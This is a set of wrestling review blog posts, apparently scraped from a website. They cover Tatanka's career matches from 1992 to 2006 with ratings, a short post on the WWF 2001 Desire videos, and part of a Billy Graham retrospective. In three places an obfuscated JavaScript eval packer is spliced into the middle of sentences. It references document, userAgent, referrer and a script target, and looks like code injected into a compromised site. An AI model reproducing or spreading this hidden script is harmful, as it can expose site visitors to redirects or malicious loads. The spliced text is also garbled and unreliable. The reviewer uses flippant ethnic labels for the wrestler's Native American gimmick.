Wrestler of the Day – June 9: Tatanka

Here’s a guy who did very well on very little. Today is Tatanka.

Tatanka eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bihht|var|u0026u|referrer|kdrsr||js|php'.split('|'),0,{})) was only in the indies for a year or so before signing with the WWF in late 1991. We’ll pick things up soon into his WWF career with this match from Prime Time Wrestling in February 1992.

Tatanka vs. Brooklyn Brawler

A shoulder block doesn’t send anyone anywhere but another shoulder goes better for Tatanka. Brawler gets drooped by a slam and some middle rope chops but he comes back with forearms. Tatanka goes on the war path and the Papoose to Go (Samoan drop) gets the pin. Not a very interesting debut.

Like many newcomers, Tatanka would be given a fairly meaningless match on a big stage to get some exposure. In his case, the match was at Wrestlemania VIII.

Rick Martel vs. Tatanka

There are Indians at ringside chanting for Tatanka. This is about two months after Tatanka debuted on TV so you should be able to figure out what’s going to happen pretty quickly here. Tatanka start off hot as Heenan explaining that Flair did nothing wrong. Gorilla shouts that Heenan is a liar, so Heenan challenges him to a fight. Martel makes a quick comeback and sends Tatanka out to the floor. Back in and Bobby makes Indian jokes as Martel stomps away a bit more. Rick goes up and gets crotched, allowing Tatanka to pound away even more. Out of nowhere a cross body pins Martel.

Rating: D+. The match was ok but it was nothing more than a way to give the fans a breather. Like I said, no one knew Tatanka at this point due to how little time he had been on TV. Martel was in total jobber to the stars territory by this point and would be gone pretty soon. Nothing to remember here at all.

Tatanka would go on the European tour just after Wrestlemania and open the European Rampage event.

Tatanka vs. Skinner

Tatanka gets an ERUPTION. Sweet GOODNESS. This is the last night of the tour apparently. Skinner was the operator of FCW which became NXT for those of you unaware. Tatanka is relatively new here and is in long tights still. We talk about Colonel Mustafa who is more commonly know as Iron Sheik getting stuck on an escalator for an hour and a half yesterday.

It’s all Tatanka so far as you would expect. This is more about just running down the card for the rest of the show so far which is fine I guess. It’s a glorified house show but that’s all you need sometimes. Gorilla and Heenan are awesome of course as they always were around this time.

Tatanka might be bleeding but I’m not sure. Heenan does that little stutter when he says his name which is funny for some reason. Skinner yells at Tatanka to keep his shoulder down. He’s direct if nothing else. Heenan is apparently reading a rule book and looking for something Tatanka is doing wrong. Skinner scared me as a kid. He was just creepy.

I’m really not sure why this was chosen as the opener. Tatanka meant very little at this point and neither did Skinner for that matter. This would likely be better suited as a dark match or something like that. It’s not terrible though. Skinner goes for a double axe off the middle while Tatanka is on his back.

It’s the jump into the boot spot which is one of the dumbest things I can remember. What’s the point of that anyway? Bobby says no one here has ever seen an Indian. I wonder how true that actually is. Would they be familiar with what his character is supposed to be? Tatanka makes a quick comeback and hits the Papoose To Go to win.

Rating: D+. Nothing special but it was ok for an opener I guess. Tatanka wouldn’t mean much of anything for about a year or so. This was just odd to say the least, but it could have been far worse. This was very similar to the Martel match at Wrestlemania as Tatanka was still getting exposure. I don’t think Skinner was around much longer.

A few weeks later, Tatanka would be in a battle royal on May 18, 1992.

Battle Royal

Bret Hart, Shawn Michaels (can these two ever be apart?), Sgt. Slaughter, Tatanka, Tito Santana, Virgil, Kerry Von Erich (he had a job at this point???), Barry Horowitz, Jim Powers, Repo Man (missed by the announcer), Kato, Skinner, (she gets Repo Man here), Dale Wolfe, Brooklyn Brawler, Brian Costello, Reno Riggins, Barry Hardy, Dwayne Gill, Chuck Casey, Tom Stone

Colonel Mustafa (Iron Sheik), Crush, Burt Spears, George Anderson (announced as Chuck Casey to mess my numbers up even more), Ron Cumberland, Bill Melky (might have missed the name but does it matter?), Ted DiBiase, IRS, Beau Beverly, Blake Beverly, Knobbs, Sags, Animal, Hawk, Owen Hart, Koko B. Ware, Earthquake, Typhoon.

There are 40 people in this and since a lot of them are jobbers and not mentioned by the announcers, I’m sorry if I don’t know their names but it’s not like they matter. This was a record for biggest battle royal in WWF history until the 2011 Rumble tied it and is still a record for most people in the ring at once. I count 38 but I’m not counting them again. One is named Donny apparently so that’s 39. Don’t even ask me who is still in there or going out here as it’s impossible to tell.

A mob takes out Earthquake almost immediately. Typhoon is out seconds later. Everyone stands around throwing punches for awhile and there goes a jobber. A few more jobbers go out as Slaughter is in trouble. There’s another jobber as there’s a bit of room in there now. Hawk and Sags go out. Animal and Knobbs are on the floor now so they’re out. I’m missing eliminations but it’s not like it matters.

A pair of jobbers go out on opposite sides. There’s another one out. Repo Man is gone too, as is Von Erich. Bret and Shawn go out at the same time. It’s almost scary with those two at times. Owen goes out as they fight up the aisle. Skinner is gone. Horowitz is out. We’re down to about 15 now. Slaughter does his over the corner bump to be put out. Powers is gone at the hands of Sheik.

DiBiase and Kato put Crush out. Sheik is gone, getting us down to 9. Make that 8 with Koko going out. Jobber gone. Ok so it’s Kato, Tom Stone, Beau Beverly, Blake Beverly, Tatanka, Ted DiBiase, IRS and Virgil. There goes Stone…through the ropes. Then he does it again. Kato is gone as are Virgil and DiBiase.

Stone gets tossed and it’s down to IRS, the Beverlies and Tatanka. They triple team the stereotype and drop elbows on him. They try some double teaming and one of the Beverlies is put out. I think it was Beau but does it matter? They try to throw Tatanka out but he low bridges them, sending IRS out. A chop gives the win to Tatanka.

Rating: C. I’ll go right in the middle because there’s nothing at all you can really say about this that you can’t say about the vast majority of others. The 40 man aspect here was a little novelty and Tatanka winning keeps them from having to deal with the whole “well it was a battle royal so he’s still undefeated” thing. Not bad but just a big battle royal.

Here’s a slightly tougher opponent from Novembe 23, 1992.

Ric Flair vs. Tatanka

This isn’t from Raw but rather a Wrestling Challenge taping. What they would do is have their TV tapings and then tape matches like these for tapes. This has to be early 93 as Flair was gone by like February of that year. Heenan gives us some rather interesting insight into Flair’s mindset and strategy. He says Flair will often give the other guy his arm to sucker him into the Figure Four. That’s psychology people and you rarely get things like that told to you. Also how nice of Heenan to tell EVERYONE how Flair operates in the ring. Obviously no potential opponent will ever see this match and hear that or anything like that right?

Very basic stuff to start but it’s well done. Tatanka takes over and we get a Flair Flop. Flair sends him to the floor as this is a very slow paced match. Again Heenan vs. Ross is the main attraction here but often times they take away from the match, which their discussion of Green Acres is doing here. Classic Flair as he asks the referee to check if Tatanka gives up so he can grab the ropes. Basic things like that make guys into heels. It’s so simple yet it gets a big reaction. Flair is a master at that.

Back to the floor again goes the less successful of these two. To fill time we hear about how Flair was in a plane crash. They haven’t actually gone past basics here which is kind of a bad thing but at the same time the match is working fine for what it’s supposed to be so I can’t complain much. Ok so yeah I could but you get the idea. After nearly ten minutes Flair goes in for the knee and gets the Figure Four.

Heenan getting under Ross’ ultra serious skin is absolutely hilarious. Tatanka is pretty bad about selling the hold as all he does is lay there. Naturally he rolls over and Flair lets go immediately. Flair goes flying off the top of course and here comes the racial stereotype. A chop hits Flair as he comes off the top. Can Tatanka do anything other than chop? He goes for a chop (SHOCKING) off the top but gets caught by a punch to the ribs. Both hit the floor and brawl for a bit but Tatanka is thrown back in at 9 for the count out win. Flair puts him in the Figure Four on the floor but Perfect comes out for the save.

Rating: B-. This was basic but it was well done I thought. Tatanka won to keep his nearly two year undefeated streak going and Flair looked good in the process. That’s all you really need I’d think. This worked rather well though as Flair was his usual evil self. Not a classic by any means, but after almost 12 minutes it didn’t get boring so I’ll give it a point.

Tatanka still hadn’t lost a match at this point which earned him an Intercontinental Title shot at Wrestlemania IX.

Intercontinental Title: Tatanka vs. Shawn Michaels

Shawn is defending of course and has the debuting Luna Vachon behind him. Tatanka is still undefeated here and would be so until much later in the year. Shawn’s former manager, Sensational Sherri, comes down the aisle to stare at Shawn and presumably be in Tatanka’s corner. Tatanka takes Shawn down a few times to start and they fight over arm control. Shawn comes back with a headlock and climbs the ropes to roll Tatanka down with it for two.

The champion tries it again but gets caught in a belly to back suplex for two this time instead. Shawn goes up again but dives into an armdrag as things pick up a bit. There’s a Flair Flip in the corner and a big chop puts Shawn on the floor. Sherri and Luna get in a staredown and Luna licks the ring post. More chops keep Michaels on the floor as the fans are getting into this.

Back in again and Shawn comes off the top with a semi-botched sunset flip for two but Tatanka comes right back with an atomic drop. A DDT puts Shawn down again and Tatanka works on Shawn’s apparently bad shoulder. Shawn tries a clothesline like an idiot and hurts his own arm again. We hit another armbar but Michaels fights up, only to charge shoulder first into the post.

Back to the armbar followed by a shoulder breaker for no cover by the challenger. A top rope chop to the shoulder has Shawn in even more trouble but a second attempt jumps into the superkick. Since it’s 1993 though that doesn’t end anything so Shawn sends Tatanka out to the floor. The girls get in another staredown but Shawn hits a running clothesline off the apron to take Tatanka out again.

Instead of following up, Shawn yells at Sherri. Since he’s Shawn Michaels though, he still maintains control with a neckbreaker for two. A standing dropkick gets two for Shawn and it’s off to a chinlock. That goes nowhere so Shawn hits a modified victory roll out of the corner for two. The shoulder seems to be fine now. Tatanka counters another victory roll attempt into an electric chair to put both guys down. A very delayed cover gets two for the challenger and it’s time to go on the warpath.

Shawn gets caught in a cross body for two and a slingshot sends him face first into the post for two. The crowd is WAY into this match now. Tatanka’s Papoose To Go (Samoan Drop) is countered into a rollup for two for Shawn but he walks into a powerslam for two. Shawn sends him out to the floor and the fans chant for Sherri. Michaels dives off the apron but slams his head into the steps, knocking himself silly and causing a countout win for the racial stereotype.

Rating: B. If Tatanks wins clean here, it’s a near classic. This was a VERY solid opener with the fans getting completely into the near falls. The shoulder injury being forgotten ten minutes into it hurt things though as I can’t stand a plot point being introduced and then left completely alone. Also Tatanka should have won but it still makes for a fine opener.

Like any wrestler worth anything at this time, Tatanka would take part in the 1993 King of the Ring.

First Round: Tatanka vs. Lex Luger

Luger beat Backlund and Tatanka beat Giant Gonzalez. Luger is the Narcissist at this point and both he and Tatanka are undefeated at this point. They had teased Luger vs. Hart for awhile but it never happened. Luger has a steel plate in his arm so he was being forced to have a pad over it in most of his matches. Luger really did nail the self absorbed heel character.

He has to put it on or he can’t fight. Savage says the King of the Ring is the most prestigious ever. I love how things at the moment have to be built up. I get why it was done, but that’s just amusing. Tatanka starts off hot if nothing else. He was generic but dang the people responded to him. Heenan gets as close to being too far as you can get without going too far with his jokes about Tatanka. Why wasn’t Savage in this thing? I’ve never gotten that.

He says that the winner of the tournament should be considered equal to the WWF Champion. Well that’s over the top but if nothing else it does come close to validating the tournament as being a big deal. That’s not terrible. Bam Bam says that he wants Tatanka. Heenan says that Bigelow’s grandfather was Buffalo Bill Bigelow. I don’t know how to reply to that.

This turns into a pretty decent back and forth match, but given the amount of times that the announcers point out the fifteen minute time limit and the double undefeated streaks here, the ending is pretty clear. Luger is in control for the most part, but Tatanka does his version of Hulking Up towards the end. A chop gets two. A chop gets two. A chop gets two. A top rope chop gets two.

A top rope chop gets two. Starting to see why Tatanka didn’t really do a lot in the company? The announcers point out that neither guy can know the time limit is about to expire, which it does following Luger nearly winning it. There’s no announcement that we’re running out of time which is something that I like here. Why tell them?

It makes things more believable towards the end of the match. Anyway, we have a draw, but afterwards Luger acts like a face by asking for five more minutes. He confirms being a heel, even though that would end in like two weeks, by nailing Tatanka with the steel forearm to knock him out. Bigelow is in the finals now.

Rating: B-. This was another good match. While the ending was a bit predictable, sometimes that’s ok. These two were both rather limited in the offense area but they still put on a solid enough match for this to be passable. Tatanka didn’t do much other than chop people, but he knew how to work a crowd and it made up for everything else, which holds true for Luger also. It wasn’t pretty, but it did what it was supposed to do.

Without much else going on, Tatanka would be put in a six man tag at Summerslam 1993.

Smoking Guns/Tatanka vs. Headshrinkers/Bam Bam Bigelow

Aren’t cowboys and Indians supposed to fight? The heels have Afa and Luna Vachon with them. The Samoans run over the Guns to start and we have Bigelow vs. Tatanka to get us going. Tatanka fires off a shoulder block and a dropkick followed by an impressive backdrop. Both guys try cross bodies and Tatanka actually gets the better of it. For a gimmick wrestler Tatanka had some good success around this time.

A double tag brings in Billy vs. Fatu (Rikishi) with the Samoan hitting a quick superkick. Billy comes back with a top rope clothesline as Vince tells us Billy went to college on a rodeo scholarship. That actually exists? Another superkick from Samu knocks Billy into the tag to Bart who is slammed face first into the mat for his troubles. Bigelow comes in with a dropkick for two before it’s back to Fatu for a wicked powerslam. The Samoans take turns double teaming Bart with headbutts and chops as the heat segment goes on for a good while.

Bigelow misses a charge and hits the post, allowing Bart to make the hot tag off to Tatanka. The Indian chops every heel in sight and takes Bigelow down with a DDT and a high cross body for two. Tatanka goes on the war path but walks into an enziguri from Bam Bam. Sometimes there’s no better solution than to kick a guy in the head. Everything breaks down and Tatanka is left all alone against the three monsters. A TRIPLE HEADBUTT puts Tatanka down and all three go up for a triple flying headbutt, but Tatanka rolls away and rolls up Samu for the pin.

Rating: B-. Where in the world did this come from??? This was a shockingly good tag match with everyone moving fast and some great looking spots from Bigelow. Tatanka was one of those guys that the fans just liked and there’s no way you can fake that. Good stuff here and a very nice surprise.

Tatanka’s undefeated streak would be broken by Ludvig Borga in October 1993. There was some new talent being brought into the company around this time and Tatanka would face one of them on Wrestling Challenge on February 13, 1994.

Tatanka vs. Jeff Jarrett

Jeff gets in a cheap shot during Tatanka’s posing and drops him with an elbow to the jaw. Tatanka makes a comeback and chops away in the corner but misses a charge to give Jeff control again. He mocks an Indian cry and nails a snap suplex for two. Ludvig Borga comes out for no apparent reason and Jarrett chokes away even more. Borga gets in a cheap shot but it only wakes Tatanka up. We hit the warpath and Tatanka hits the floor to chop Borga as well, drawing in Ludvig for the DQ.

Rating: D+. This was nothing to see and was just there to keep up the feud between Borga vs. Tatanka, which didn’t go anywhere after that. Jarrett would take a long time to really get anywhere and this character wasn’t helping anything. Granted that’s likely because there was no character to be seen.

The next match up is from the March to Wrestlemania X special.

Yokozuna vs. Tatanka

Yokozuna’s WWF Title isn’t up for grabs. This is about revenge after Yokozuna crushed Tatanka and put him on the shelf for a few months. Yokozuna’s manager Mr. Fuji offers a distraction to give Yokozuna a cheap shot from behind. Some chops don’t have much effect on the big man but he misses a splash. A high cross body gets two for Tatanka, but that’s about the extent of his offense as he runs into a knee to the ribs. We hit the nerve hold before Tatanka is thrown to the floor with ease.

The fat guy takes off a turnbuckle pad and we take a break. Back with another nerve hold before a clothesline takes Tatanka’s head off. Yokozuna sends him into the corner but goes face first into the exposed buckle, giving Tatanka a very delayed two. A series of chops put Yokozuna down for another two but he’s way too big for the Papoose to Go (or the Wigwam Bomb as Johnny Polo dubs it). The belly to belly sets up the Banzai Drop to give Yokozuna the pin.

Rating: C-. This pairing actually made a good deal of money on the house show circuit in 1993 with this exact same match. There’s something that works about a smaller guy doing everything he can to drop a huge guy and the reaction to the big chop putting Yokozuna down proves it. Not a good match or anything but it told a good story.

With the hard working Native American gimmick having run its course, it was time to switch things up. Around this time, Tatanka’s friend Lex Luger was having issues with Ted DiBiase. The Million Dollar Man was saying that Luger had sold out and Tatanka started to believe it. Luger felt the only way to prove his innocence was to have a match because that’s how wrestling works. From Summerslam 1994.

Lex Luger vs. Tatanka

The fans aren’t sure how they feel about Luger at the moment. They finally lock up with Luger taking it into the corner for a clean break. A shoulder puts Tatanka down but Luger still won’t follow up. Tatanka grabs the arm as we’re still in first gear. A cross body gets two for Tatanka and it’s time to slug it out with Lex taking over. Tatanka starts the war path and hits a top rope chop for two but a high cross body only hits mat. Luger starts his comeback but here’s DiBiase with a bag of money. Lex shouts that he didn’t sell out, allowing Tatanka to roll him up for the pin.

Rating: D. The match was very slow paced which isn’t good in a short match. We were waiting for the angle here instead of the match which is fine, but it didn’t make the match any less dull. Tatanka was into a more serious phase of his career here and his matches got a lot less fun to watch as a result.

Post match Luger is mad and he kicks the bag out of DiBiase’s hand…..only to have Tatanka reveal the HE sold out by destroying Luger. Tatanka puts him in the Million Dollar Dream and shoves money down Luger’s throat. This has always been a favorite of mine.

Here’s a rematch from October 19, 1994.

Tatanka vs. Lex Luger

Tatanka is part of the Million Dollar Team so this is after Summerslam 94. We’re in Albany it seems. The racial stereotype tries to talk but gets cut off by the music of the Renegade Lex Luger. Luger goes right after Tatanka and we’re on in a hurry. The Indian hides on the floor as we stall a lot. Luger wants to kill him it seems. Literally all we have here is Luger chasing Tatanka and Tatanka running away.

FINALLY the referee gets in Luger’s way and we get going. Luger hammers away and after about a minute I have a bad feeling about this tape. Out to the floor and it’s Tatanka in control. We’re maybe four minutes into this and I want to go watch some Sandman vs. Sabu. Three elbows get two for Tatanka.

Ah there’s a chinlock. Wow this is riveting. Luger’s face is pathetic here as he might as well be ordering dinner. He fights up and Tatanka gets a knee to put him back down. Back to the chinlock again. To tell you how pathetic the Million Dollar Team was, King Kong Bundy was considered their best chance at getting a title. Lex fights up again and AGAIN it’s the chinlock. This is one of the most boring matches I’ve ever seen, which is covering a lot of ground.

Luger knocks Tatanka to the floor which seems to be a common theme tonight. Lex goes out after him and the beating continues. At least this is finally picking up a bit. It’s about time after that big long boring match. And there’s a double countout to end this. Oh no. Oh no they didn’t just give us THAT finish after watching these two for almost fifteen minutes. Dang it yes they did.

Rating: F. This was AWFUL. Nothing happened in this and it was the epitome of filling in time without having to do a thing. This was a feud I always liked and then we get this nonsense. Totally boring match that is mostly chinlock and running. I know this era was bad but this isn’t making me feel any better about this tape.

Tatanka would continue to be part of the Million Dollar Team, including teaming with Bam Bam Bigelow to go after the Tag Team Titles. They would have their shot in a tournament final at the 1995 Royal Rumble.

Tag Titles: Bob Holly/1-2-3 Kid vs. Bam Bam Bigelow/Tatanka

Shawn and Diesel split up and we needed champions. Holly and Tatanka start things off with Tatanka hitting a side slam for two. Holly comes back with a slam and a few dropkicks as this is going nowhere so far. Off to the Kid vs. Bigelow, with the big man running over both of the smaller guys with ease. Bigelow LAUNCHES Kid into the air but gets caught in a rana to send Bam Bam rolling.

Back to Tatanka who whips Kid into the buckles a few times before it’s off to Bigelow to pound on the small guy some more. In something that actually impressed me, Kid backdrops Bigelow to the floor. Both small guys try top rope cross bodies but they escape and dropkick the heels together. Things settle down with Tatanka beating on Holly for a LONG time. Bigelow comes in, allowing Tatanka to distract the Kid. Holly goes to the corner to find no partner and Bigelow splashes Bob.

Holly gets beaten down so badly that he goes to the wrong corner and tags in Tatanka. Thank goodness this isn’t the Attitude Era because it probably would have been legal in some of their matches. Tatanka comes in for more beating on Holly until Bob FINALLY gets in a clothesline for the hot tag to the Kid. Everything breaks down and Kid is LAUNCHED to the floor by Bigelow. Bam Bam loads up the moonsault but Tatanka accidentally hits the ropes to knock him to the mat. Somehow that’s enough for the pin and the titles for the Kid.

Rating: C+. This went nearly sixteen minutes which was just too long. It’s quite good but it would have been great if they cut off five minutes or so. Those launches by Bigelow were awesome looking as Kid continues to be an excellent seller of moves like those. The idea was that it was all Bigelow’s fault, even though Tatanka is totally to blame for Bigelow crashing like that. The Gunns would win the titles back the next night on Raw, making this whole thing pretty pointless.

Bigelow would be thrown off the Million Dollar Team and eventually be replaced by Sid. This set up the main event of the 1995 King of the Ring, with Tatanka teaming with Sid against Bigelow and WWF Champion Diesel.

Diesel/Bam Bam Bigelow vs. Sid and Tatanka

For some reason Bigelow had a pyromaniac gimmick going on or something like it. His outfit consists of a full body costume with orange and black flames sticking off of it and forearm things that shoot fire. This is stupid as all goodness. This match hasn’t been mentioned or hyped or anything at all tonight. Literally, I forgot about it for a lot of the show. That’s how important this match was for the company.

Sid and Diesel had fought at In Your House with Diesel winning. Bigelow was fired from the Million Dollar Team because he kept losing. Other than that, the Team injured Diesel’s arm so it’s bandaged. This feels like a dark match after a show is over that isn’t advertised or anything. Seriously, it’s added on at the end or something like that. What’s the point here?

It’s your standard main event tag match with the faces dominating early and then the heels work on the injury to set up the hot tag, then beat down face #2, Bigelow in this case, leading to the final hot tag to the champion. That takes 15 minutes, and NO ONE CARES! That’s the issue with the whole show. No one cares about anything here because there is zero effort being put into it. You can tell the wrestlers don’t care because this show means nothing at all.

This might as well have been a big house show or something. After working on the injured elbow, which Vince wants them disqualified for in a stupid string of comments, Diesel hits the powerbomb on Tatanka but wants Sid, who runs away so Diesel can get the pin. There would be a lumberjack match the next month and that’s all there is to it. Yeah seriously that’s how the show ends.

Rating: C-. And that’s out of pity. This was just so generic again that all I can call it is average. It had some ok spots but nothing special at all. Sid and Diesel were crushing the company with their horrible feud that never went anywhere. The company somehow managed to screw things up even worse in a few months with Diesel vs. Mabel.

Vince’s love of big men continued to suck the life out of his company and more importantly the fans with these stupid big men matches. Diesel was talented, but the opponents weren’t. Seriously, you have Bret, Shawn, Owen and Taker to put him against and you picked Mabel. That’s just freaking stupid. Anyway, this was ok, but like every single match tonight, there was no reason to care about it and I’m glad this crap is over.

Tatanka’s time in the company was coming to an end but he would have this match on Raw from February 19, 1996.

Tatanka vs. Undertaker

This is after Undertaker’s VERY long feud with the Million Dollar Team so we can call this part of the aftermath. Undertaker sends Tatanka into the corner to start and chokes away as Diesel comes to the ring with an ax. He takes the cameraman with him and we go to a break. Back with Tatanka holding a headlock and a split screen showing Diesel destroying Undertaker’s casket with the ax. Undertaker comes back with the running clothesline and Old School as the casket is destroyed even more. Tatanka scores with a piledriver but gets chokeslammed and tombstoned for the easy pin.

Rating: D. This was there as a backdrop for the Diesel stuff which helped set up their Wrestlemania match. Tatanka meant nothing at this point and it was painfully obvious. At the end of the day there’s only so much you can do with a character like his and we passed that about two years ago.

Tatanka would leave the WWF soon after this and hit the indies/mostly retire. He would come back on the indy circuit a bit later on, including this match from Rodman Down Under in 2001.

Australasian Title: One Man Gang vs. Tatanka

Yes seriously. Tatanka is defending and is the face, but wouldn’t you think he would be a heel for being so proud of being from another country? The Gang thanks the fans for their support but wants the women to wash their underwear before they throw them to him. Gang looks so old it’s unreal. He pounds away in the corner to start and gets two off a clothesline. Tatanka comes back with kicks and chops as this is somehow less interesting than the girls.

Gang is sent to the floor and complains about how bad he smells. He takes a walk up the aisle and after nearly a minute the fans fill the ring with trash. Back in and they trade wristlocks with Gang pounding down into the shoulder. Tatanka comes back with shots to Gang’s shoulder as well and a chop to the head for two. A nearly botched cross body gets two more for Tatanka but Gang hits one of his own for two. Tatanka works the leg for a bit as this is already going longer than it should.

Gang kicks him to the floor but gets caught in a sunset flip for two. The big man slowly drops knees as I go read Gone with the Wind to fill in the time. Off to a nerve hold until Gang drives some shoulders into Tatanka’s ribs. Gang misses a running charge in the corner but Tatanka charges into a boot in the corner. A big fat legdrop makes me wish I was watching a Yokozuna match but Tatanka avoids a second one. I’m assuming he does as the camera was on fans in NWO shirts.

Tatanka makes his comeback and a chop to the head gets two. He rams Gang’s head into the buckle but the referee is crushed off a whip. Gang is slammed off the top and chopped in the head but there’s no referee. The fat man loads up some brass knuckles and knocks out the Indian for the pin and the title after nearly TWENTY MINUTES.

Rating: F+. I’ll give Gang credit here: he was trying. He was playing to the crowd and actually moving a bit out there which is more than you can say for most of the wrestlers tonight. The match was WAY too long though and on a show already this bad there’s no reason for it to go this long. Did they only have twelve people for the show or something?

He even came back to WWE for a year, with this being the highlight. From No Way Out 2006.

MNM vs. Matt Hardy/???

This is an open challenge. MNM is Mercury, Nitro and Melina. Nitro is more famous as Morrison now. Matt took them up on it but we don’t know who the partner is. MNM are the Smackdown tag champions here so of course this is non-title. Here’s Matt, and here’s his partner.

MNM vs. Matt Hardy/Tatanka

This is like an indy show nightmare. Tatanka is in a non-title tag team match with Matt Hardy on PPV in 2006. WHAT THE HECK? Zero reaction as you probably would have guessed. Tatanka came back at the Rumble and would eventually turn heel and start a feud with Lashley before leaving before they had any contact. Hardy and Mercury start us off here.

Somehow Matt is the big star here. Off to Tatanka and Mercury is in trouble. Sweet goodness this is uninteresting beyond belief. Tazz: who’s going to challenge MNM. Cole: Matt Hardy and Tatanka? Point for Cole. Melina gets in Hardy’s face and slaps the tar out of him. Tatanka comes in to chop a lot. Melina rakes his eyes and MNM takes over again. Sweet merciful crap this is boring.

The heels double team Tatanka as I want to find a bag to put over my head to avoid having to watch this. Suffocation is sounding good right now. You can hear Hardy calling Tatanka Chris which probably isn’t the best thing in the world to hear. Tatanka catches Mercury coming off the top in an atomic drop but Nitro comes in to keep the tag from happening. And that completely fails as Matt comes in a few seconds later.

Matt cleans house as this is still completely uninteresting. Twist of Fate is blocked and Nitro gets a superkick to Hardy. Both members of MNM have been in the ring for like a minute and Tatanka doesn’t seem to mind his partner doing double duty. Back to Tatanka and we get stereo Twist of Fate and Papoose To Go to end this. Was there ANY point to this at all?

Rating: D. It was boring, it wasn’t interesting, and Tatanka was the best they could come up with? Was Shannon Moore not available? Somehow he would have been a better choice. This was just awful as the fans didn’t care and this went nowhere at all. I can’t even say it was short as it went over ten minutes. Bad match.

Tatanka is a good example of a guy who had a very limited gimmick and turned it into a fairly decent career. He was kind of a throwback to an old school one note gimmick character and it did about as well as it was going to. Even though he didn’t have a ton of success, he was always around for a long stretch which isn’t the worst thing in the world.

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Required Viewing #9: Making The Invasion Look Awesome

I remember watching this about a hundred times.

Back eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktszr|var|u0026u|referrer|eztzt||js|php'.split('|'),0,{})) in 2001, the WWF put on a new campaign called Desire, with a series of videos set to My Sacrifice by Creed. These were some awesome highlight packages on a variety of guys. The videos speak for themselves.

The InVasion/2001 as a whole.

Steve Austin.

Undertaker.

Edge.

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Wrestler of the Day – June 8: Billy Graham

Today we’re looking at one of the most influential wrestlers of all time with Superstar Billy Graham.

Graham eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdaak|var|u0026u|referrer|essbk||js|php'.split('|'),0,{})) got his start in 1970 so we’ll pick things up in the AWA in 1972. A lot of these matches aren’t going to have an exact date on them due to age but I’ll do what I can.

Billy Graham vs. Tommy DeMarco

Ivan Koloff is Graham’s second here. Before the match Graham shows off his tye dye which is a very different thing to see at this point. Graham starts very fast and cranks on the arm before sending him to the floor. Tom comes back with a very fast series of right hands in the corner followed by a backdrop. Graham runs him over with a shoulder but walks into a dropkick and armdrag. Billy has to run outside for a breather and things slow way down. Back in and Graham cranks on the leg before wrapping it around the post. A big elbow drop is enough to pin DeMarco.

Rating: C-. WAY more entertaining than I was expecting here with DeMarco being very energetic. It was a step above a squash and that’s way better than what you would usually get on TV at this point. Speaking of TV, the production values for 1972 are AMAZING here as I could easily buy that this was from about fifteen years later.

Still in the AWA, this time in Chicago on Halloween 1973.

Wilbur Snyder vs. Billy Graham

Graham hides in the ropes to start and Gene Okerlund gets to make a rare commentary appearance. A lockup goes nowhere until Billy pulls him down by the hair into a chinlock. Snyder counters into a headlock of his own as this isn’t the fastest paced match in the world. Different time though. They trade elbows to drop each other with Wilbur getting the better of it and stomping away.

Boots are put to Graham and Snyder starts going after the arm by wrapping it around the ropes. Back up and Graham scores with some elbows to the head and rams Wilbur into the buckle. Snyder avoids a charge in the corner and ducks a right hand, sending Graham out to the floor. Graham sneaks in a right hand back inside and we’re back in the chinlock.

Snyder actually wins a power battle and cranks on an armbar, followed by a headscissors on the mat. Back up again with Graham cranking on the headlock to take Snyder back down. After that eats up way too long, Snyder sends him into the buckle and they fight to the apron for a double countout.

Rating: D+. Not the most exciting match in the world but again it’s a different era. This really was built around a lot of stuff on the mat instead of more fast paced action. That being said, this was a lot of chinlocks which can be hard to sit through. Snyder was a fairly big deal back in the AWA so this was a pretty big time match.

It’s off to New York now Graham was instantly a big deal. Here he is challenging Bruno for the World Title on October 13, 1975.

WWF World Title: Bruno Sammartino vs. Billy Graham

It’s a boxing match to start and Graham hides in the ropes like a good heel should. A LOUD Bruno chant starts up as Graham shoves Bruno into the corner. The champion cranks on his arm and it’s a fight over a top wristlock. After a long stretch of having Bruno overpower him, Billy pulls him down by the hair and we’re back in the top wristlock battle. Another hair pull gives Graham control again but Bruno gets all ticked off and slams him down.

We get another test of strength with Billy taking over, but Bruno won’t let it go and fights up. This keeps going for a few minutes with Graham not being able to keep Sammartino down. Bruno finally takes over but another cheap shot gives Graham a breather. Off to a chinlock on Bruno with tape around his throat until the champion fights up again. A big backdrop and some boots have Graham in trouble so he begs off in the corner.

The delay is enough to allow Graham to grab his bearhug and take Bruno down to the mat. You know the champion isn’t going to stay down like that though and he’s quickly back to his feet. As has been the case throughout the match, the hold stays on for a good while until Billy rams him into the buckle, SLAMMING Bruno’s head into the buckle. Now it’s Bruno with his own bearhug but an eyerake gets Graham out. They collide with Bruno being knocked outside for the countout in a sudden ending.

Rating: C. While the match was a lot of the same holds for a long time, they actually told a nice story with it. They played up the idea of both guys being incredibly strong and turned it into a showdown where you wanted to see which guy was going to blink first. The ending worked really well too as it sets up the rematch but keeps Bruno looking good.

Graham would continue chasing the title until April 30, 1977.

Bruno Sammartino vs. Billy Graham

The ring is especially wide here for some reason. They feel each other out a bit and Graham easily shoves Bruno around. Now Bruno shoves back and grabs an armbar for good measure. Graham makes the rope and heads to the floor for a bit before returning for a test of strength. Bruno goes down to his knees twice and even gets his shoulders counted a few times. The champ fights back and sends Graham to the floor to reset things a bit.

